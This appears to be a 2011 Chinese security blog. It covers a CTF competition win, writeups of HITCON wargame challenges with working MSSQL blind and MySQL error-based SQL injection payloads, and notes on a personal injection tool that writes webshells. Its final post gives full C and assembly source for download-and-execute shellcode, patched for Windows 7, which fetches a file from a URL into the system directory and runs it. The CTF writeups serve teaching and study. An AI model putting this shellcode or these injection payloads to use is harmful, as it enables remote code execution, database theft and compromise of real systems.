2011年12月10日 星期六

一百年度全國大專院校資安技能金盾獎 XD



Ya~ 冠軍!!!!

今年是參加的第二年,真的有比去年進步成為第一名了!!XD

隊伍名稱: [NISRA] 台科大分舵

這樣講下來好像台灣兩大資安競賽都拿過冠軍了 //flee
    2009 HIT 駭客年會
    2011 金盾獎


去年的隊友 Taien 碩士畢業了,今年只有我以及強者 allenown 組隊,比較起去年其實感覺人數真的有差,兩個人下去比已經快看不完 & 沒有時間去解所有題目了。

戰力分配大致如
Linux 題目交給 allenown
Windows 題目給我XD
Web , Forensic, Misc就一起玩XD

* 早上依然是傳統在麥當勞度過早餐時間XD

* 今年一樣在恆逸資訊教育中心十二樓,捷運南京東路站一號出口出來就到了,這邊勾起一堆回憶整個超難過Q____Q















* 今年很棒有聽到去年的牢騷,午餐是傳說中的麥當勞山!!!XDD















* 比賽時間五個小時(12:00 ~ 17:00),前兩個半小時完全是沒有分數掛蛋的XD



















* 記分板會在比賽結束前三十分鐘關閉,以增加比賽刺激性,記分板關閉前照片XD



















* 揭曉名次整個超緊張,跟交大 DSNS lab 爭奪一二名XD

* 喔喔還有贈品很不錯我好喜歡,一個滿大的手提袋XD

* 會後依然照慣例有個慶功宴這次在 Vegas Vegas ~


題目:

* 今年總題目數共 15 題

* 今年題目感覺還是以 Forensics 為大宗

* 兩個人比真的會發現題目做不完,有許多題目是我們根本都還沒看過去解的

* 今年多了幾題關於 Android 的題目,理所當然交給強者我隊友XDD

* 今年也多了幾題類似Capture the Flag的題目,提供你 Linux server 要你上 patch 以獲得key

* 經過兩個半小時,強者 allenown 解出題目五,終於破蛋了XD

* 有分數後就開始勢如破竹,整個緊張感都沒了一題一題解出來XD

* 其實應該分數可以再更高,題目四考的是資訊隱藏 Steganography,使用 Openpuff 解出來為一個 url.txt 的檔案,裡面是一個網址

* 誰會知道那個就是 key XDDD,如果取名為 key.txt 的話我就會把那串網址當 key 送QQ

* 題目三在最後似乎沒人解出所以提示大放送,給的提示幾乎就是解題的步驟,在 PE 可執行檔內多了一個奇怪的 section 叫做 .icst ,觀察一下可以利用 PE 的特性找出解密的 key

* 不過題目三解的方式好像跟題目沒關係XDDD

* 題目八考的是 SQL Injection,之前自己寫的 Orange Web Security Toolkit 派上用場超爽

* 打個廣告 Web Security Toolkit 目前 update 到1.2.6,已經修正許多穩定性以及通用性的 BUG ,有機會的話再 release 出來XD

* 題目六考的觀念與 2011駭客年會 wargame 其中一題相似,給出一個被加密起來的可執行檔,使用 repeat key 的 xor 加密。xor 的 key 不只一個 byte,所以不能使用暴力破解,但由於 PE 檔案各個 sections 都會以填 0 的方式填到固定大小,可以透過觀察的方式找出xor的key。

* 題目十二跟題目六也是同樣的觀念, 但是分兩個部分,第一部分可以透過 pdf 的 header 來發現 xor 的 key 是 "%PDF" ,接著會解出一個被內嵌 javascript 的 PDF 檔案,好在以前有玩過一些分析惡意文件的手法,經過兩三層的 Javascript 混淆可以得到 Key為~XD











* 題目十三超機車的, 脫殼完只差修復 IAT 表不過就已經浪費掉大半的時間了

* 題目十三, D_v_ 出來面對XDD

* 今年的題目出的還不錯,不過還是有幾題淪為到比較偏猜謎

* 感謝各位工作人員~XD



其實工具真的不用帶太多,基本有了就好

這次其實沒用到甚麼工具大部分都是透過 Python 寫幾行 code 就可以解出來
Reversing 逆向部分也只用到經典的 OllyDbg 以及 IDA pro
剩下的也只有自己習慣的 hex editor (010 editor) 以及慣用的瀏覽器就夠了XD




YA冠軍 ^_____<

[ 照片暫時移除XD ]









2011年8月27日 星期六

關於SQL Injection的那些奇淫異巧





Google docs link

By Orange@chroot.org

1. Error base SQL injection in MySQL
2. Deep Blind SQL injection
3. MySQL triggers exploit - A injection can run system command.


有錯誤請指教  :P


2011年7月25日 星期一

台灣駭客年會 HITCON2011,Wargame Web 3出題心得 & 解法



心得:這題出現的形式以及解法都是Real case in real world的,整個網站很安全都用Prepared statement保護SQL sentence,但是插入column name的時候就不能使用Prepared statement了,整個網站很安全剛好被我遇到這個地方,當初遇到時想了一下認為無法利用,但後來思考了一下查了一下msdn SQL server的一些用法找出了利用方法,覺得很有趣於是把它變成了題目。

題目是一個網址
/GetEvent.asp?s=b.__name
顯示的是一個空白頁面

/GetEvent.asp?s=b.__name'
顯示 500 Error,不會吐露錯誤訊息

當SQL語法出錯時出現500,其他正常查詢不論有無資料皆回傳空白頁面
整個設計的SQL sentence大致如下

sql = "Select a.__id, " + s + ", c.__user, d.__pwd, e.__mail from _id as a, _name as b, _user as c, _pwd as d, _mail as e"
s是可以插入的地方

b是 alias的 table name
__name是column name

在不知道整個SQL語句的狀況下
一般的SQL server爆錯 ->  不行,因為不會顯示錯誤
偽造整個SQL並在後面註解 -> 不行,因為不知道s前面alias 的name,偽造不出來後面的語句,等於封死了註解XD
Blind injection -> 無論SQL select出來有無資料,皆顯示空白頁面
Time base -> Wait for關鍵字不能用在這個地方,本來想用Heavy query延長時間但用在這個地方會失敗

後來考慮了一下是否可以穿插一個判斷式,假如是false的話執行一個會讓SQL出錯的語句(Ex cast('a' as int)),但MSSQL沒有if的函數只有isnull,但是isnull接在那個地方會有問題所以後來使用了case-when的語法

插入如
(select top 1 case len(name) when 3 then cast(user as int) end from sysobjects where xtype='U')

當column name的長度等於三時會顯示500 error,否則則顯示空白頁面
這時我們有了正確與錯誤的判斷標準,整個 Injection又回復到Blind上面了XD

接著可以慢慢將 table name, column name以及資料列舉出來。


(select top 1 case len(name) when 3 then cast(user as int) end from sysobjects where xtype='U')
取table name長度

(select top 1 case ascii(substring(name,1,1)) when 95 then cast(user as int) end from sysobjects where xtype='U')
取table name資料

(select top 1 case len(col_name(object_id('_key'),1)) when 5 then cast(user as int) end from sysobjects)
取column name長度

(select top 1 case ascii(substring(col_name(object_id('_key'),1),1,1)) when 43 then cast(user as int) end from sysobjects)
取column name資料

(select top 1 case len(__key) when 25 then cast(user as int) end from _key)
取資料長度

(select top 1 case ascii(substring(__key,1,1)) when 83 then cast(user as int) end from _key)
取資料內容


整個流程大致到這裡拿到key並且結束。
如果有更好的方法歡迎交流提供  :)

2011年7月24日 星期日

台灣駭客年會 HITCON2011,Wargame Binary 3出題心得 & 解法



 心得:很久以前就想出一題類似要輸入↑ ↑ ↓ ↓ ← → ← → B A會跳key的題目了XD


題目下載點 from rsghost

小時候的回憶,特訓99 XD
















用UPX加殼過後有改過OEP,For fun,讓檢測殼軟體(Ex: Peid)混淆XD











很簡單的殼,脫殼可以靠ESP定律,或者看得出是UPX直接bp popad可以找到最原始的OEP
這個遊戲其實有DEBUG MODE的,開啟原始遊戲後可以用Winhex或者Dump memory觀察到












reset
another
omitback
simpleback
fullback
chicken
quit
butterfly
maniac
paranoia
booston
off
paranoiamax
hequil
basia
quti
version
test
slow
love
desu?

有這些指令可以使用,這題透過修改其中一個的字串以前對應的函數來出題
只要在遊戲開始輸入
c (倒退鍵) a (倒退鍵) (倒退鍵) b (倒退鍵) (倒退鍵) (倒退鍵)
就可以取得Key
















開啟遊戲時會將DEBUG String xor解碼,所以未執行直接觀察原始檔會找不到有甚麼有意義的字串
位置在 0x00401242,xor的key是0xff

這題的解法當初是設想需要Condition BreakPoint Message Queue的 KeyDown Event來進行Trace
追的過程中會發現修改了0x0040394A改成了一個長jmp

這題還滿多人解出來的XD
不過應該都不是用靠輸入key的方式 :P

台灣駭客年會 HITCON2011,Wargame Web 4出題心得 & 解法



心得是現在大多數的人對於SQL injection (Mysql)都是union加上information_schema取得資料
但是並不是那麼的簡單,SQL injection其實是一門非常深的學問,就出了這題XD
這個方法最早是在大陸的文章看到,後來有分析到國外的一套SQL自動化攻擊工具havij,裡面也有用到類似的方式。


一個登入介面,題目是
If you can login, You can get the key.

登入畫面

















可以明顯發現確認使用者的頁面存在SQL injection











也可以發現
不能使用union  --> 因為只會顯示True or False,不可能列出任何資訊
不能使用Information_schema --> 假想環境是在mysql4上面運行,在Mysql4以前沒有這個資料庫,這題是我自己patch mysql主程式所以使用不了information_schema查table name以及column name
不能使用blind injection or time base injection  --> 因為無法取得column name不能取得資料

但是,發現他是Error base的Injection。
可以利用Duplicate column name的方式來注入

Example:
在Mysql Commandline下輸入:
    Select * from (Select 1,1) as a
會顯示
    ERROR 1060 (42S21): Duplicate column name '1'

利用Error base的方式像SQL server一樣可以把想要的資料出現在錯誤訊息中。
但是要利用這個爆出非CONST以外的還需要配合NAME_CONST這個函數來達成

For Example:













但是NAME_CONST在Mysql 5.1後被Update了不能使用非常量CONST以外的參數,但是還是有其他的方法的,有興趣可以自己去Google這裡就不詳談了 :P

所以可以利用以下的方式爆出 Column name
id=test' and (Select * from (Select * from users as a join users as b) as c) and ''='
id=test' and (Select * from (Select * from users as a join users as b using(column name)) as c) and ''='












可以得到Column name
wpw_d7862549d4ed8f82
wpw_d7862549d4ed8f82

繼續利用NAME_CONST爆出其中的資料
Example:








可以取得
admin / 0b79f46808458afb

在登入頁面的地方也可以發現輸入單引號也會顯示SQL error,仔細觀察會發現是使用Mysql的old_password來對密碼進行加密。






在Mysql4以前password儲存的方式是透過old_password這個函數進行加密的,實際上這個加密方式存在弱點能被很快速的碰撞(Collision)出來
網路上可以找到現成的工具,約20~30分鐘可以撞出一組hash值與上面一樣的密碼

我自己碰撞的結果是這組
Select old_password('!H6~a`"~H\\DN>');
出來的結果與上面的hash值是一樣的,所以使用admin / !H6~a`"~H\DN> 即可登入取得Key。



:P 解題愉快XD
沒解出來至少有學到新東西吧 :P
有機會再把出的另外一題Web以及Windows Binary解題過程寫出XD


2011年5月22日 星期日

[Project] Web Security Toolkit




以前為了方便寫的小工具

最近改版越寫越有興趣就變成自己的一個小Project了XDD

整個重新用Python寫了約4000行左右XD

UI也用wxPython的AUI改過

現有功能:
    Senstive file, directory Scanner
    Encoder / Decoder
    SQL injector
        Access
        SQL server
        SQL server blind
        Mysql
        Mysql blind
    Advanced SQL injector
        Mysql load_file
        Mysql into outfile
        Mssql List Directory
        Mssql Execute command
        Mssql Log backup a webshell
        Mssql Backup a webshell with different
        PHP & ASP eval write webshell

有努力的解決SQL injector通用性的問題XD

目前應該只有私底下好友Release版本
應該會在加入Oracle injection以及Time base SQL injection的功能
等2.0在正式發行Release版吧~XD

目前徵求好聽的名字中XD

ScreenShot












































2011年4月19日 星期二

整理



最近的一些學習資料整理這樣XD


About歷史:
Memory Corruption Attacks The (almost) Complete History
https://media.blackhat.com/bh-us-10/whitepapers/Meer/BlackHat-USA-2010-Meer-History-of-Memory-Corruption-Attacks-wp.pdf

Past, Present, Future of Windows Exploitation
http://www.abysssec.com/blog/2010/05/past-present-future-of-windows-exploitation/



About Heap Spray:
Heap Feng Shui in JavaScript
http://www.blackhat.com/presentations/bh-europe-07/Sotirov/Presentation/bh-eu-07-sotirov-apr19.pdf



About JIT Spray:
Interpreter Exploitation: Pointer Inference and JIT Spraying
http://www.semantiscope.com/research/BHDC2010/BHDC-2010-Paper.pdf

Writing JIT-Spray Shellcode for fun and profit
http://bbs.pediy.com/showthread.php?p=776730



About ROP:
Return-Oriented Exploitation
https://media.blackhat.com/bh-us-10/presentations/Zovi/BlackHat-USA-2010-DaiZovi-Return-Oriented-Exploitation-slides.pdf

Bypass DEP with WPM & ROP Case Study : Audio Converter by D.R Software Exploit and Document by Sud0
http://www.exploit-db.com/download_pdf/13764/
簡體中文翻譯
http://riusksk.blogbus.com/logs/73847721.html



About Writing Exploit:
Exploit Writing Tutorials
http://www.corelan.be/index.php/category/security/exploit-writing-tutorials/
簡體中文翻譯
http://bbs.pediy.com/showthread.php?t=101217





2011年4月18日 星期一

Download_Exec shellcode fix & for Windows 7



很久沒打網誌了丟些來湊篇幅XD

某些需求,需要Download and Exec file的shellcode,而且要For win7也可以work的
網路上找不到經指點只好自己改

改的時候才發現還是有些問題XD
shellcode原始版本 From
http://www.exploit-db.com/exploits/13529/
* Author   : lion
*               : lion#cnhonker.net
*               : http://www.cnhonker.com

首先是發現當網址長度 > 40 bytes時shellcode執行會失敗
實際去追蹤後發現出錯點位於decode shellcode中發生問題
第314行
mov cl,0xFF

cl放的是要被解碼shellcode的offset偏移量,會被程式動態patch,最長只有到255

shellcode_decode     21 bytes
shellcode_main     194 bytes
網址長度     X bytes
當21 + 194 + X > 255時就會出錯

所以修改一下
mov cl, 0xff
Opcode為 B1 FF

mov ecx, 0xff
Opcode為 B9 FF 00 00 00

再把#DEFINE的偏移量+3 bytes以及修改判斷動態patch的部分即可

至於通用性的問題
在 Windows XP / 2k / 2k3可成功,Windows 7失敗的原因在於
由於這隻shellcode是透過PEB取得ImageBase,WIndows 7後會再Kernel32.dll前先載入kernelbase.dll,所以造成ImageBase取錯

改法也很簡單,判斷取得dll名稱的長度即可XD

詳細細節可參閱:
http://skypher.com/index.php/2009/07/22/shellcode-finding-kernel32-in-windows-7/
http://bbs.pediy.com/showthread.php?t=122260
http://bbs.pediy.com/showthread.php?t=99007

修改後版本XD
/*
*-----------------------------------------------------------------------
*
* downloadurl_v31.c - Download file and exec shellcode for Overflow exploit
*
* Copyright (C) 2000-2004 HUC All Rights Reserved.
*
* Author   : lion
*          : lion#cnhonker.net
*          : http://www.cnhonker.com
*          :
* Date     : 2003-08-15
*          :
* Update   : 2004-05-05 v3.1
*          : 2004-01-08 v3.0
*          : 2003-09-10 v2.0
*          : 2003-08-15 v1.0
*          :
* Tested   : Windows 2000/Windows XP/windows 2003
*          :
* Notice   : 1. 通過peb取得kernel32.dll地址。
*          : 2. 通過函數的hash值來進行比較,代替GetProcAddress取得函數地址,節省函數名佔用的空間。
*          : 3. 利用循環獲取hash值和函數地址,節省空間。
*          : 4. 下載url文件並執行。
*          : 5. 用vc6可以命令行直接編譯,方便修改。
*          : 6. win2000/winxp/win2003 下測試成功。
*          : 7. 比較小巧,長度為241 bytes。
*          :


* Complie  : cl downloadurl_v31.c
*          :
* Reference: http://www.lsd-pl.net/documents/winasm-1.0.1.pdf
*          : http://www.metasploit.com/shellcode.html
*
*------------------------------------------------------------------------
*/

#include <stdio.h>
#include <winsock2.h>

#pragma comment(lib, "ws2_32")

// Use for find the ASM code
#define PROC_BEGIN                     __asm _emit 0x90 __asm  _emit 0x90\
                                       __asm _emit 0x90 __asm  _emit 0x90\
                                       __asm _emit 0x90 __asm  _emit 0x90\
                                       __asm _emit 0x90 __asm  _emit 0x90
#define PROC_END                       PROC_BEGIN
#define SEARCH_STR                     "\x90\x90\x90\x90\x90\x90\x90\x90\x90"
#define SEARCH_LEN                     8
#define MAX_SC_LEN                     2048
#define HASH_KEY                       13

// Define Decode Parameter
#define DECODE_LEN                     24
#define SC_LEN_OFFSET                  7
#define ENC_KEY_OFFSET                 14
#define ENC_KEY                        0x99


// Define Function Addr
#define ADDR_LoadLibraryA              [esi]
#define ADDR_GetSystemDirectoryA       [esi+4]
#define ADDR_WinExec                   [esi+8]
#define ADDR_ExitProcess               [esi+12]
#define ADDR_URLDownloadToFileA        [esi+16]
//#define ADDR_URL                       edi

// Need functions
unsigned char functions[100][128] =      
{                                           // [esi] stack layout
    // kernel32 4                           // 00 kernel32.dll
    {"LoadLibraryA"},                       //    [esi]
    {"GetSystemDirectoryA"},                //    [esi+4]
    {"WinExec"},                            //    [esi+8]    
    {"ExitProcess"},                        //    [esi+12]
    //("ExitThread"},
    //{"TerminateProcess"},
    // urlmon  1                            // 01 urlmon.dll
    {"URLDownloadToFileA"},                 //    [esi+16]
    {""},
};
  
// Shellcode string
unsigned char  sc[1024] = {0};

unsigned char url[]=
    "http://127.0.0.1/calc.exe\x00";

// ASM shellcode main function
void    ShellCode();

// Get function hash
static DWORD __stdcall GetHash ( char *c )
{
    DWORD h = 0;
  
    while ( *c )
    {
        __asm ror h, HASH_KEY
      
        h += *c++;
    }
    return( h );
}

// Print Shellcode
void PrintSc(unsigned char *sc, int len)
{
    int    i,j;
    char *p;
    char msg[6];
  
    //printf("/* %d bytes */\n", buffsize);
  
    // Print general shellcode
    for(i = 0; i < len; i++)
    {
        if((i%16)==0)
        {
            if(i!=0)
                printf("\"\n\"");
            else
                printf("\"");
        }
      
        //printf("\\x%.2X", sc[i]);
      
        sprintf(msg, "\\x%.2X", sc[i] & 0xff);

        for( p = msg, j=0; j < 4; p++, j++ )
        {
            if(isupper(*p))
                printf("%c", _tolower(*p));
            else
                printf("%c", p[0]);
        }
    }
  
    printf("\";\n");
}


void Make_ShellCode()
{
    unsigned char  *pSc_addr;
    unsigned int   Sc_len;
    unsigned int   Enc_key=ENC_KEY;
    unsigned long  dwHash[100];
    unsigned int   dwHashSize;

    int i,j,k,l;
  
  
    // Get functions hash
    printf("[+] Get functions hash strings.\r\n");
    for (i=0;;i++)
    {
        if (functions[i][0] == '\x0') break;

        dwHash[i] = GetHash((char*)functions[i]);
        printf("\t%.8X\t%s\n", dwHash[i], functions[i]);
    }
    dwHashSize = i*4;


    // Deal with shellcode
    pSc_addr = (unsigned char *)ShellCode;
  
    for (k=0;k<MAX_SC_LEN;++k )
    {
        if(memcmp(pSc_addr+k,SEARCH_STR, SEARCH_LEN)==0)
        {
            break;
        }
    }
    pSc_addr+=(k+SEARCH_LEN);               // Start of the ShellCode
  
    for (k=0;k<MAX_SC_LEN;++k)
    {
        if(memcmp(pSc_addr+k,SEARCH_STR, SEARCH_LEN)==0) {
            break;
        }
    }
    Sc_len=k;                               // Length of the ShellCode
  
    memcpy(sc, pSc_addr, Sc_len);           // Copy shellcode to sc[]


    // Add functions hash
    memcpy(sc+Sc_len, (char *)dwHash, dwHashSize);
    Sc_len += dwHashSize;

    // Add url
    memcpy(sc+Sc_len, url, sizeof(url)-1);
    Sc_len += sizeof(url)-1;

    // Print the size of shellcode.
    printf("[+] %d + %d + %d = %d bytes shellcode\n", DECODE_LEN, Sc_len-DECODE_LEN-sizeof(url)+1, sizeof(url)-1, Sc_len);


    // Print the ip/port offset
    for(k=0; k <= Sc_len-3; ++k)
    {
        if(sc[k] == 0x00 && sc[k+1] == 0x35)
            printf("/* port offset: %d + %d = %d */\r\n", k-DECODE_LEN, DECODE_LEN, k);
        if(sc[k] == 0x7F && sc[k+3] == 0x01)
            printf("/* ip offset: %d + %d = %d */\r\n", k-DECODE_LEN, DECODE_LEN, k);
    }

/*            
    for(i=DECODE_LEN; i<Sc_len; i++)
    {
       sc[i] ^= Enc_key;
    }
*/

    // Print shellcode
    //PrintSc(sc, Sc_len);
  

    // Deal with find the right XOR byte
    for(i=0xff; i>0; i--)
    {
        l = 0;
        for(j=DECODE_LEN; j<Sc_len; j++)
        {
            if (
                   ((sc[j] ^ i) == 0x26) || //%
                   ((sc[j] ^ i) == 0x3d) || //=
                   ((sc[j] ^ i) == 0x3f) || //?
                   ((sc[j] ^ i) == 0x40) || //@
                   ((sc[j] ^ i) == 0x00) ||
                   ((sc[j] ^ i) == 0x0D) ||
                   ((sc[j] ^ i) == 0x0A)
                )                           // Define Bad Characters
            {
                l++;                        // If found the right XOR byte£?l equals 0
                break;
            };
        }
  
        if (l==0)
        {
            Enc_key = i;
          
            //printf("[+] Find XOR Byte: 0x%02X\n", i);
            for(j=DECODE_LEN; j<Sc_len; j++)
            {
                sc[j] ^= Enc_key;
            }

            break;                          // If found the right XOR byte, Break
        }
    }

    // Deal with not found XOR byte
    if (l!=0)
   {
        printf("[-] No xor byte found!\r\n");
        exit(-1);
    }

    // Deal with DeCode string
if (Sc_len > 0xff)
*(unsigned char *)&sc[SC_LEN_OFFSET + 1] = Sc_len >> 8;
    *(unsigned char *)&sc[SC_LEN_OFFSET] = Sc_len;
    *(unsigned char *)&sc[ENC_KEY_OFFSET] = Enc_key;

    // Print decode
    printf("/* %d bytes decode */\r\n", DECODE_LEN);
    PrintSc(sc, DECODE_LEN);

    // Print shellcode
    printf("/* %d bytes shellcode, xor with 0x%02x */\r\n", Sc_len-DECODE_LEN, Enc_key);
    PrintSc((unsigned char*)sc+DECODE_LEN, Sc_len-DECODE_LEN);
  
    printf("[+] download url:%s\n", url);
}

void main()
{
    DWORD    addr;
    WSADATA        wsa;
  
    WSAStartup(MAKEWORD(2,2),&wsa);
  
    Make_ShellCode();

    addr = (DWORD)&sc;

    __asm
    {
        jmp addr
    }

    return;
}

// ShellCode function
void ShellCode()
{
    __asm
    {
        PROC_BEGIN                          // C macro to begin proc
//--------------------------------------------------------------------
//
// DeCode
//
//--------------------------------------------------------------------
        jmp     short decode_end
      
decode_start:
        pop     ebx                         // Decode start addr (esp -> ebx)
        dec     ebx
        xor     ecx,ecx
        mov     ecx,0xFF                     // Decode len
      
    decode_loop:
        xor     byte ptr [ebx+ecx],0x99     // Decode key
        loop    decode_loop
        jmp     short decode_ok

decode_end:
        call    decode_start
      
decode_ok:

//--------------------------------------------------------------------
//
// ShellCode
//
//--------------------------------------------------------------------
        jmp     sc_end
      
sc_start:      
        pop     edi                         // Hash string start addr (esp -> edi)
        xor     ecx, ecx
        // Get kernel32.dll base addr
        mov     eax, fs:0x30                // PEB
        mov     eax, [eax+0x0c]             // PROCESS_MODULE_INFO
        mov     esi, [eax+0x1c]             // InInitOrder.flink
next_module:      
        //lodsd                               // eax = InInitOrder.blink
        mov     edx, [esi+8]                // ebp = kernel32.dll base address
        mov     ebx, [esi+0x20]
        mov     esi, [esi]
        cmp     [ebx+12*2], cl
        jne     next_module
        mov     ebp, edx

        mov     esi, edi                    // Hash string start addr -> esi
  
        // Get function addr of kernel32
        push    4
        pop     ecx
      
    getkernel32:
        call    GetProcAddress_fun
        loop    getkernel32

        // Get function addr of urlmon  
        push    0x00006e6f
        push    0x6d6c7275                 // urlmon
        push    esp
        call    ADDR_LoadLibraryA          // LoadLibraryA("urlmon");
      
        mov     ebp, eax                   // ebp = urlmon.dll base address
      
/*
        push    1
        pop     ecx

    geturlmon:
        call    GetProcAddress_fun
        loop    geturlmon
*/
        call    GetProcAddress_fun

        // url start addr = edi
      
//LGetSystemDirectoryA:
        sub     esp, 0x20
        mov     ebx, esp
      
        push    0x20
        push    ebx
        call   ADDR_GetSystemDirectoryA     // GetSystemDirectoryA
      
//LURLDownloadToFileA:  
        // eax = system path size
        // URLDownloadToFileA url save to a.exe
        mov     dword ptr [ebx+eax], 0x652E615C           // "\a.e"
        mov     dword ptr [ebx+eax+0x4], 0x00006578       // "xe"
        xor     eax, eax
        push    eax
        push    eax
        push    ebx                         // %systemdir%\a.exe
        push    edi                         // url
        push    eax
        call    ADDR_URLDownloadToFileA     // URLDownloadToFileA
      
//LWinExec:
mov     ebx, esp
push    eax
push    ebx
call    ADDR_WinExec                // WinExec(%systemdir%\a.exe);

Finished:
        //push    1
        call    ADDR_ExitProcess            // ExitProcess();

GetProcAddress_fun:  
        push    ecx
        push    esi
  
        mov     esi, [ebp+0x3C]             // e_lfanew
        mov     esi, [esi+ebp+0x78]         // ExportDirectory RVA
        add     esi, ebp                    // rva2va
        push    esi
        mov     esi, [esi+0x20]              // AddressOfNames RVA
        add     esi, ebp                    // rva2va
        xor     ecx, ecx
        dec     ecx

    find_start:
        inc     ecx
        lodsd
        add     eax, ebp
        xor     ebx, ebx
      
    hash_loop:
        movsx   edx, byte ptr [eax]
        cmp     dl, dh
        jz      short find_addr
        ror     ebx, HASH_KEY               // hash key
        add     ebx, edx
        inc     eax
        jmp     short hash_loop
  
    find_addr:
        cmp     ebx, [edi]                  // compare to hash
        jnz     short find_start
        pop     esi                         // ExportDirectory
        mov     ebx, [esi+0x24]             // AddressOfNameOrdinals RVA
        add     ebx, ebp                    // rva2va
        mov     cx, [ebx+ecx*2]             // FunctionOrdinal
        mov     ebx, [esi+0x1C]             // AddressOfFunctions RVA
        add     ebx, ebp                    // rva2va
        mov     eax, [ebx+ecx*4]            // FunctionAddress RVA
        add     eax, ebp                    // rva2va
        stosd                               // function address save to [edi]
      
        pop     esi
        pop     ecx
        ret
      
sc_end:
        call sc_start
    
        PROC_END                            //C macro to end proc
    }
}

// milw0rm.com [2004-10-25]